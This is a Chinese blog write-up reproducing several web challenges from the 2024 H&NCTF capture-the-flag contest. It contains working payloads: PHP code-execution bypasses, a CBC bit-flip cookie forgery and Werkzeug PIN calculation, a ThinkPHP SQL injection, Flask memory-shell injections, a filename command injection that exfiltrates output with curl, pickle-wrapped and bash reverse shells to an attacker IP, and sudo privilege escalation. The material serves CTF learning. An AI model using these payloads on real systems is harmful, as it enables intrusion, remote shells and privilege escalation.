2024 H&NCTF 部分题目复现

前言

当时打这个的时候有事没看,现在复现一下。

Please_RCE_Me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if(isset($_POST['task'])&&isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
die('hacker!');
}else{
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
}
}
}else{
echo "moran want a flag.</br>(?moran=flag)";
}

控制了字符长度为19。
task用大写绕过。flag这里要用无字母RCE,把header最后一个随便填个/flag
payload:

1
2
/?moran=flag
task=readfile(end(getallheaders()));&flag=PLEASE_GIVE_ME_FLAG

image.png
我看有的师傅是这样做的,也行:

1
2
task=array_map($_POST['a'],$_POST['b'])&flag=please_give_me_flaG&a=assert&b[]=phpinfo()
task=array_map($_POST['a'],$_POST['b'])&flag=please_give_me_flaG&a=system&b[]=ls

FlipPin

根据提示查看hint路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode

import json

default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)


def encrypt(session):
iv = get_random_bytes(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
raw = b64decode(session)
cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
try:
res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
return res
except Exception as e:
print(e)

app = Flask(__name__)

filename_blacklist = {
'self',
'cgroup',
'mountinfo',
'env',
'flag'
}

@app.route("/")
def index():
session = request.cookies.get('session')
if session is None:
res = Response(
"welcome to the FlipPIN server try request /hint to get the hint")
res.set_cookie('session', encrypt(default_session).decode())
return res
else:
return 'have a fun'

@app.route("/hint")
def hint():
res = Response(open(__file__).read(), mimetype='text/plain')
return res


@app.route("/read")
def file():

session = request.cookies.get('session')
if session is None:
res = Response("you are not logged in")
res.set_cookie('session', encrypt(default_session))
return res
else:
plain_session = decrypt(session)
if plain_session is None:
return 'don\'t hack me'

session_data = json.loads(plain_session)

if session_data['admin'] :
filename = request.args.get('filename')

if any(blacklist_str in filename for blacklist_str in filename_blacklist):
abort(403, description='Access to this file is forbidden.')

try:
with open(filename, 'r') as f:
return f.read()
except FileNotFoundError:
abort(404, description='File not found.')
except Exception as e:
abort(500, description=f'An error occurred: {str(e)}')
else:
return 'You are not an administrator'






if __name__ == "__main__":
app.run(host="0.0.0.0", port=9091, debug=True)

我说怎么这么眼熟,这就是tamu那个flip,位反转:

TamuCTF 2024 复现

脚本小子,启动!
读文件exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
"""
@Project : Python
@File : flip
@desc :
@Author : @Natro92
@Date : 2024/5/14 下午8:23
@Blog : https://natro92.fun
@Contact : natro92@natro92.fun
"""
import requests
from base64 import b64decode, b64encode

url = "http://hnctf.imxbt.cn:36196/"
default_session = '{"admin": 0, "username": "user1"}'
res = requests.get(url)
c = bytearray(b64decode(res.cookies["session"]))
c[default_session.index("0")] ^= 1
evil = b64encode(c).decode()

filename = "/proc/1/cpuset"
url_hack = "http://hnctf.imxbt.cn:36196/read?filename=" + filename
res = requests.get(url_hack, cookies={"session": evil})
print(res.text)

修改filename读文件算PIN。

  • /proc/1/cpuset/kubepods/burstable/pod2dcc7fc2-dc77-4be4-aa71-53af7b5f6fcc/baf1f605a43e10ced00a5f492a9fc3429b8eb547fccc979652c3ddfce2270b34
  • /proc/sys/kernel/random/boot_id19088900-1695-441f-9f76-7379c20e5547
  • /etc/passwdctfUser
  • /sys/class/net/eth0/address12:9e:40:46:20:54:去掉,print一下print(int('129e40462054', 16))

这里报错可以通过在read路由乱输cookie获得到报错的文件位置:
image.png
算PIN exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import hashlib
from itertools import chain


probably_public_bits = [
'ctfUser' # username /etc/passwd
'flask.app', # modname 默认值
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__')) 默认值
'/usr/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None), 报错得到
]

private_bits = [
'20470892470356', # /sys/class/net/eth0/address 十进制
# 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
# machine_id由两个合并(docker就后两个):1./proc/sys/kernel/random/boot_id 2./proc/self/cgroup 由于cgroup和mountinfo被禁用,则用/proc/1/cpuset代替读取
'19088900-1695-441f-9f76-7379c20e5547'+'baf1f605a43e10ced00a5f492a9fc3429b8eb547fccc979652c3ddfce2270b34'# /proc/sys/kernel/random/boot_id + /proc/1/cpuset
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)

进console直接看就完了:

1
2
import os
os.popen('env').read()

image.png

ez_tp

ThinkPHP 3.2.3 系列漏洞分析 – 天下大木头 有机会把这个看了

网上wp说原来的附件里面有log文件可以看到payload的:

1
home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

版本:3.2.3(根目录有版本号)
tp这个我一直没太搞明白过。
image.png
找时间把这个thinkphp研究了吧。
参考链接里面有使用这个的EXP注入的详解:
这个利用点在ThinkPHP\Library\Think\Db\Driver.class.php中的parseWhereItem方法其中的:
image.png
打的时候要删光cookie,否则会打不出来:

1
/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

image.png

ezFlask

Python 内存马分析
CTF中Python_Flask应用的一些解题方法总结

这个看了wp发现可以直接访问shell路由拿到flag:

1
app.add_url_rule('/shell','shell',lambda:__import__('os').popen('cat /flag').read())

image.png
然后访问shell路由就能拿到flag。后来发现是想打内存马(哪天仔细研究下这个):

1
render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell',+'myshell',+lambda+:__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}")

但是他这个我怎么看不了flag?
除了这俩还看到了两个post时同时get传参cmd执行命令:

1
2
3
cmd=str(app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=__import__(\'flask\').make_response(os.popen(request.args.get(\'cmd\')).read())')==None else resp))

cmd=app.before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('cmd')).read())

GoJava

robots.txt下有内容:
image.png
main.go无法访问
访问zip文件下载是一个go文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package main

import (
"io"
"log"
"mime/multipart"
"net/http"
"os"
"strings"
)

var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}

func main() {
// 设置路由
http.HandleFunc("/gojava", compileJava)

// 设置静态文件服务器
fs := http.FileServer(http.Dir("."))
http.Handle("/", fs)

// 启动服务器
log.Println("Server started on :80")
log.Fatal(http.ListenAndServe(":80", nil))
}

func isFilenameBlacklisted(filename string) bool {
for _, char := range filename {
for _, blackChar := range blacklistChars {
if char == blackChar {
return true
}
}
}
return false
}

func compileJava(w http.ResponseWriter, r *http.Request) {
// 检查请求方法是否为POST
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}

// 解析multipart/form-data格式的表单数据
err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
if err != nil {
http.Error(w, "Error parsing form", http.StatusInternalServerError)
return
}

// 从表单中获取上传的文件
file, handler, err := r.FormFile("file")
if err != nil {
http.Error(w, "Error retrieving file", http.StatusBadRequest)
return
}
defer file.Close()

if isFilenameBlacklisted(handler.Filename) {
http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
return
}
if !strings.HasSuffix(handler.Filename, ".java") {
http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
return
}
err = saveFile(file, "./upload/"+handler.Filename)
if err != nil {
http.Error(w, "Error saving file", http.StatusInternalServerError)
return
}
}

func saveFile(file multipart.File, filePath string) error {
// 创建目标文件
f, err := os.Create(filePath)
if err != nil {
return err
}
defer f.Close()

// 将上传的文件内容复制到目标文件中
_, err = io.Copy(f, file)
if err != nil {
return err
}

return nil
}

/gojava是一个文件上传路由,判断黑名单,判断文件后缀是否为java。
黑名单:'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'
然后保存。
这里可以使用文件名RCE(这是为什么?)
后来我知道了,就是猜测开发java编译这个功能是使用命令编译的后面可以命令拼接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /gojava HTTP/1.1
Host: hnctf.imxbt.cn:44579
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 638
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1CXJPPM2cLJ87r3R
Cookie: PHPSESSID=7ok9hdafdr8rb3podk5s9e4vt6
Origin: http://hnctf.imxbt.cn:44579
Referer: http://hnctf.imxbt.cn:44579/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest

------WebKitFormBoundary1CXJPPM2cLJ87r3R
Content-Disposition: form-data; name="file"; filename="a.java||curl -X POST -d a=`whoami` [Your-IP]:8888||.java"
Content-Type: application/octet-stream

1
------WebKitFormBoundary1CXJPPM2cLJ87r3R--

image.png
查看文件夹下内容:

1
filename="a.java||curl -X POST -d a=`ls|base64 -w 0` [IP]:8888||.java"

image.png

1
2
3
4
5
6
7
8
9
10
css
final
go.mod
gojava
index.html
js
main-old.zip
main.go
robots.txt
upload

看下main.go文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
package main

import (
"fmt"
"io"
"log"
"math/rand"
"mime/multipart"
"net/http"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"time"
)

var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}

func main() {
// 设置路由
http.HandleFunc("/gojava", compileJava)
http.HandleFunc("/testExecYourJarOnServer", testExecYourJarOnServer)

// 设置静态文件服务器
fs := http.FileServer(http.Dir("."))
http.Handle("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// 检查请求的路径是否需要被禁止访问
if isForbiddenPath(r.URL.Path) {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}

// 否则,继续处理其他请求
fs.ServeHTTP(w, r)
}))

// 启动服务器
log.Println("Server started on :80")
log.Fatal(http.ListenAndServe(":80", nil))
}

func isForbiddenPath(path string) bool {
// 检查路径是否为某个特定文件或文件夹的路径
// 这里可以根据你的需求进行设置
forbiddenPaths := []string{
"/main.go",
"/upload/",
}

// 检查请求的路径是否与禁止访问的路径匹配
for _, forbiddenPath := range forbiddenPaths {
if strings.HasPrefix(path, forbiddenPath) {
return true
}
}

return false
}

func isFilenameBlacklisted(filename string) bool {
for _, char := range filename {
for _, blackChar := range blacklistChars {
if char == blackChar {
return true
}
}
}
return false
}

// compileJava 处理上传并编译Java文件的请求
func compileJava(w http.ResponseWriter, r *http.Request) {
// 检查请求方法是否为POST
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}

// 解析multipart/form-data格式的表单数据
err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
if err != nil {
http.Error(w, "Error parsing form", http.StatusInternalServerError)
return
}

// 从表单中获取上传的文件
file, handler, err := r.FormFile("file")
if err != nil {
http.Error(w, "Error retrieving file", http.StatusBadRequest)
return
}
defer file.Close()

if isFilenameBlacklisted(handler.Filename) {
http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
return
}

// 检查文件扩展名是否为.java
if !strings.HasSuffix(handler.Filename, ".java") {
http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
return
}

// 保存上传的文件至./upload文件夹
err = saveFile(file, "./upload/"+handler.Filename)
if err != nil {
http.Error(w, "Error saving file", http.StatusInternalServerError)
return
}

// 生成随机文件名
rand.Seed(time.Now().UnixNano())
randomName := strconv.FormatInt(rand.Int63(), 16) + ".jar"

// 编译Java文件
cmd := "javac ./upload/" + handler.Filename
compileCmd := exec.Command("sh", "-c", cmd)
//compileCmd := exec.Command("javac", "./upload/"+handler.Filename)
compileOutput, err := compileCmd.CombinedOutput()
if err != nil {
http.Error(w, "Error compiling Java file: "+string(compileOutput), http.StatusInternalServerError)
return
}

// 将编译后的.class文件打包成.jar文件
fileNameWithoutExtension := strings.TrimSuffix(handler.Filename, filepath.Ext(handler.Filename))
jarCmd := exec.Command("jar", "cvfe", "./final/"+randomName, fileNameWithoutExtension, "-C", "./upload", strings.TrimSuffix(handler.Filename, ".java")+".class")
jarOutput, err := jarCmd.CombinedOutput()
if err != nil {
http.Error(w, "Error creating JAR file: "+string(jarOutput), http.StatusInternalServerError)
return
}

// 返回编译后的.jar文件的下载链接
fmt.Fprintf(w, "/final/%s", randomName)
}

// saveFile 保存上传的文件
func saveFile(file multipart.File, filePath string) error {
// 创建目标文件
f, err := os.Create(filePath)
if err != nil {
return err
}
defer f.Close()

// 将上传的文件内容复制到目标文件中
_, err = io.Copy(f, file)
if err != nil {
return err
}

return nil
}

func testExecYourJarOnServer(w http.ResponseWriter, r *http.Request) {
jarFile := "./final/" + r.URL.Query().Get("jar")

// 检查是否存在指定的.jar文件
if !strings.HasSuffix(jarFile, ".jar") {
http.Error(w, "Invalid jar file format", http.StatusBadRequest)
return
}

if _, err := os.Stat(jarFile); os.IsNotExist(err) {
http.Error(w, "Jar file not found", http.StatusNotFound)
return
}

// 执行.jar文件
cmd := exec.Command("java", "-jar", jarFile)
output, err := cmd.CombinedOutput()
if err != nil {
http.Error(w, "Error running jar file: "+string(output), http.StatusInternalServerError)
return
}

// 输出结果
w.Header().Set("Content-Type", "text/plain")
w.Write(output)
}

这里就明确了,上传一个恶意java文件反弹shell,然后用自带的测试文件执行即可:
image.png
/testExecYourJarOnServer?jar=4c3b75f48cea30c2.jar
接到反弹shell:
image.png
有个memorandum备忘录文件
image.png
得到一串密钥
image.png
尝试作为密码登录:
image.png
为什么这样就没有sh提示身份了。
image.png
flag在root文件夹里面
image.png

GPTS

想办法拿shell
注意信息搜集
多段提权,细心,不要落下常规提权步骤
加一个root组用户在进行下一步
sudo的文件里有好东西

这个UI跟那个GPTArena好像啊
GPT Academic
CVE:

CVE-2024-31224 RCE 分析 - 先知社区

主要考的还是Pickle反序列化。
按照要求 显示自定义菜单,选择自定义按钮
image.png
image.png
有了这个persistent_cookie这个cookie。
python反弹shell:

1
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'

生成opcode exp:

1
2
3
4
5
6
7
import base64
opcode=b'''cos
system
(S'bash -c "{echo,cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiWW91ciBJUCIsODg4OCkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bigiYmFzaCIpJw==}|{base64,-d}|{bash,-i}"'
tR.'''
opcode = base64.b64encode(opcode).decode("utf-8")
print(opcode)

结果

1
Y29zCnN5c3RlbQooUydiYXNoIC1jICJ7ZWNobyxjSGwwYUc5dU15QXRZeUFuYVcxd2IzSjBJRzl6TEhCMGVTeHpiMk5yWlhRN2N6MXpiMk5yWlhRdWMyOWphMlYwS0NrN2N5NWpiMjV1WldOMEtDZ2lORGN1TVRFMUxqSXdOQzR4TURFaUxEZzRPRGdwS1R0YmIzTXVaSFZ3TWloekxtWnBiR1Z1YnlncExHWXBabTl5SUdZZ2FXNG9NQ3d4TERJcFhUdHdkSGt1YzNCaGQyNG9JbUpoYzJnaUtTYz19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfSInCnRSLg==

我的Chrome不知道为什么出不来这个自定义菜单。
修改cookie。保存再刷新页面,然后点击加载已保存。没有就多刷新几次,我这个不是每次都有。
image.png
查看当前角色能读的文件:

1
find / -type f -user ctfgame -readable 2>/dev/null

image.png
查看下这个文件

1
2
3
4
5
6
7
8
9
10
From root,
To ctfgame(ctfer),

You know that I'm giving you permissions to make it easier for you to build your website, but now your users have been hacked.

This is the last chance, please take care of your security, I helped you reset your account password.

ctfer : KbsrZrSCVeui#+R

I hope you cherish this opportunity.

登录ctfer这个账号
image.png
KbsrZrSCVeui#+R
看看当前用户权限:
image.png

  • (root) NOPASSWD: /usr/sbin/adduser:表示 ctfer 用户可以以root身份执行 /usr/sbin/adduser 命令,而且不需要输入密码 (NOPASSWD)。这个命令通常用于创建新的用户账号。
  • !/usr/sbin/adduser * sudo:这是一条禁止(由 ! 前缀标示)规则,意味着 ctfer 不能使用 adduser 命令将任何用户添加到 sudo 组。
  • !/usr/sbin/adduser * admin:这是另外一条禁止规则,表示 ctfer 不能使用 adduser 命令将任何用户添加到 admin 组。

根据提示说添加一个root组用户:
image.png

1
sudo adduser test -gid=0 # -gid 指定root组

image.png
登录test账号:
image.png
image.png
/etc/sudoers
image.png
发现有个kobe用户,可以使用apt-get,创建kobe用户。(注意这里要用ctfer这个账号)

1
sudo adduser kobe

image.png
切换kobe账号,使用apt提权:

利用软件包管理器实现Linux提权 - 嘶吼 RoarTalk

1
sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/bash"

得到root权限:
image.png
image.png

奇怪的网站

文件泄露-配置文件
vim泄露文件给的hint说明还有别的文件泄露
图片网站?
命令执行函数

访问主页发现有302重定向,且文件中有提示:
image.png
尝试访问多次异常退出vim编辑文件:
扫描目录发现flag.php,从swp往回尝试p->o->n->m...
最后发现是.flag.php.swm(注意都有前缀.因为是隐藏文件)
在wsl运行:

1
vim -r flag.php

恢复:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

/*
you find me!
*/
function check($num)
{
$a = ord('1');
$b = ord('9');
for ($i = 0; $i < strlen($num); $i++)
{
$c = ord($num{$i});
if ( ($c >= $a) && ($c <= $b) )
{
return false;
}
}
return $num == '11259375';
}
$num = $_GET['num'];

直接搜索:11259375

CTF——web安全中的一些绕过 - 淚笑 - 博客园

0xabcdef
得到hint:hint: 没有扫到那个文件吗?!或者去首页看看?``index.png被解析成php
image.png
猜测有htaccess解析
发现.htaccess是403,说明存在解析
image.png
扫描到404.php内header中有secret
image.png
After PUT, does the server write the file directly?preflight?

http跨域时的options请求_httpmethod.options-CSDN博客

预请求是指在发送实际请求之前,浏览器先发送一个 OPTIONS 请求到服务器以检查实际请求是否安全、可被服务器接受。复杂请求通常指那些可能对服务器数据产生影响、非简单请求的HTTP方法,像 PUT, DELETE, CONNECT, OPTIONS, TRACE, 和 PATCH。由于这些请求方法可能会改变服务器上的数据,因此发送这样的请求之前,浏览器会先进行一次“预检”,以确保服务器允许来自该源的这种类型的请求。
在跨域请求的场景中,浏览器会自动先发起一个预检请求。预检请求使用 OPTIONS 方法,并且包含一些 HTTP 头信息,告知服务器接下来的实际请求中会使用哪些HTTP方法和头信息。服务器必须响应这个预检请求,并告知浏览器是否允许这个实际请求。如果服务器不允许,则浏览器将阻止该请求。如果允许,浏览器将继续发起实际请求。
OPTIONS发包
image.png
这个我怎么就没复现成功。
读取文件.htaccess
我不理解这里怎么读取的,我这里并没有成功。知道的大佬给我讲讲吧。
这里我先跳到后面吧,有个ggggoku.php,读取之后构造payload反弹shell:

1
2
3
GET: /ggggoku.php?a=${eval($_POST[0])}
POST: 0=%24fd%3Dpopen%28%22bash+-c++%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F47.115.204.101%2F8888+0%3E%261%27%22%2C%27r%27%29%3B++%0Awhile%28%24s%3Dfgetss%28%24fd%29%29%7B++%0Aprint_r%28%24s%29%3B++%0A%7D
# 记得把里面的ip换成你自己的

弹到shell:
image.png
没有读取flag权限,需要提权:

1
find / -perm -u=s -type f 2>/dev/null

image.png
先找下文件:
su命令,root密码在/home/admin/passwd,使用su之前需要先切换至交互shell。用script即可:
image.png
bef27466a245ce3ec692bd25409c2549
image.png
image.png

后记

太菜了,好几个基础知识都没学明白。